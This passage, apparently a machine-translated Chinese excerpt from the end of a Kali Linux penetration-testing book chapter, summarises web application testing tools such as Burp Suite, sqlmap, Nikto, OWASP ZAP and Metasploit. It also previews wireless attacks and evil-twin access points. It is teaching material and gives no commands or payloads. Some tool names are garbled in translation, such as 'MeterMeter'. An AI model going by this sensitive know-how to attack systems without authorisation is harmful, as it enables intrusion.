从这一点开始,运用你的想象力尝试不同的可能性。诚然,演示文稿需要做一些工作,但您始终可以查看源代码来清理它:

我想补充一点,您可以使用 Burp Suite 中的中继器来完成这些步骤,您还可以使用 Burp Suite 与sqlmap和 Metasploit 结合使用来获得一个 MeterMeter 外壳。

总结

在本章中,我们将介绍一些用于 web 应用测试的主要工具,并进一步介绍云应用,因为它们基于相同的协议构建,并且使用许多相同的平台。

正如您所知,这些漏洞有一个共同的根本原因,即未对用户输入进行消毒或验证,以确保所需数据用于处理。此外,利用一个漏洞可以利用另一个漏洞(例如,从目录遍历到文件包含)。

我们研究了 OWASP ZAP、Nikto、sqlmap和 Burp 套件,以识别可能的漏洞,测试并利用它们。然而,Kali 还附带了许多其他工具,可以用来进行这些测试,许多工具可以一起使用。

尤其是 Burp Suite 和 OWASP ZAP 是非常强大的独立工具,它们完成了我们所看到的所有内容,甚至完成了一些我们没有看到的内容。我们甚至可以使用它们进行目录遍历和文件包含测试。

其他一些工具如下所示:

  • Commix(命令注入漏洞工具)
  • DirBuster(web 服务器目录暴力工具)
  • 侦察(网络侦察工具)
  • Sqlninja(Microsoft SQL 注入工具)

在下一章中,我们将了解无线网络分析,使用各种工具攻击网络以获得访问,以及维护网络访问的方法。我们甚至会看看建立邪恶孪生兄弟(盗贼 AP)的最初步骤。

进一步阅读

有许多资源可用于了解有关 web 和云应用测试的更多信息。以下是资源列表: